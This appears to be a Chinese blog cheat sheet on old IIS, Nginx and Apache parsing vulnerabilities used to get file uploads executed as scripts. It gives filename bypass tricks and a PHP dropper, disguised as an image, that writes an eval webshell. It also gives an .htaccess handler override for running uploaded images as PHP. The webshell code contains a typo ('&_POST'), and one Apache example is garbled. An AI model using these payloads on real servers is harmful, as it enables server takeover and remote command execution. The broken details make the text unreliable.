0x01 IIS5.x/6.0解析漏洞

IIS6.0解析利用的方法有两种:

  1. 目录解析

    在网站下建立文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都别IIS当作asp文件来解析并执行。例如创建目录pamela.asp,那么pamela.asp / 1.jpg将被当作asp文件来执行。

  2. 文件解析

    在IIS6.0下,分号后面的不被解析,也就是说pamela.asp;.jpg会被服务器看成是pamela.asp,还有 IIS6.0默认的可执行文件除了asp还包括这三种:

1
2
3
pamela.asa
pamela.cer
pamela.cdx

0x02 IIS7.0/IIS7.5/Nginx<8.03畸形解析漏洞

在默认Fast-CGI开启状况下,上传一个名字为pamela.jpg,内容为

1
2
3
<?PHP
fputs(fopen('shell.php','w'),'<?php eval(&_POST[cmd])?>');
?>

的文件,然后访问pamela.jpg/.php,在这个目录下就会生成一句话木马shell.php

0x03 Nginx<8.03空字节代码执行漏洞

  1. 影响版本:

    0.5./0.6./0.7<=0.7.65/0.8<=0.8.37

  2. 简介

    Nginx在图片中嵌入php代码然后通过访问

    1
    xxx.jpg%00.php

    来执行其中的代码

0x04 Apache解析漏洞

  1. 背景

    Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

  2. 简介

    比如pamela.php.owf.rar.owf”和”.rar” 这两种后缀是 apache 不可识别解析,apache就会把pamela.php.owf.rar解析成 .php

  3. 利用

    如何判断是不是合法的后缀就是这个漏洞的利用关键,pamela.php.rara.jpg.png…(把你知道的常见后缀都写上)去测试是否是合法后缀

0x05 其他

  1. 在Windows环境下,xx.jpg[空格]或xx.jpg 这两类文件是不允许存在的,若这样命名,Windows会默认去除空格和点,我们可以通过抓包,在文件名后加一个空格或者点来绕过黑名单,若上传成功,空格和点都会被Windows自动消除,这样也可以getshell

  2. 如果在apache中 .htaccess可被执行,且可被上传,那可以尝试在 .htaccess中写入:

    1
    2
    3
    <FilesMatch "cimer"> 
    SetHandler application/x-httpd-php
    </FilesMatch>

    然后再上传shell.jpg的木马,这样shell.jpg就可解析为php文件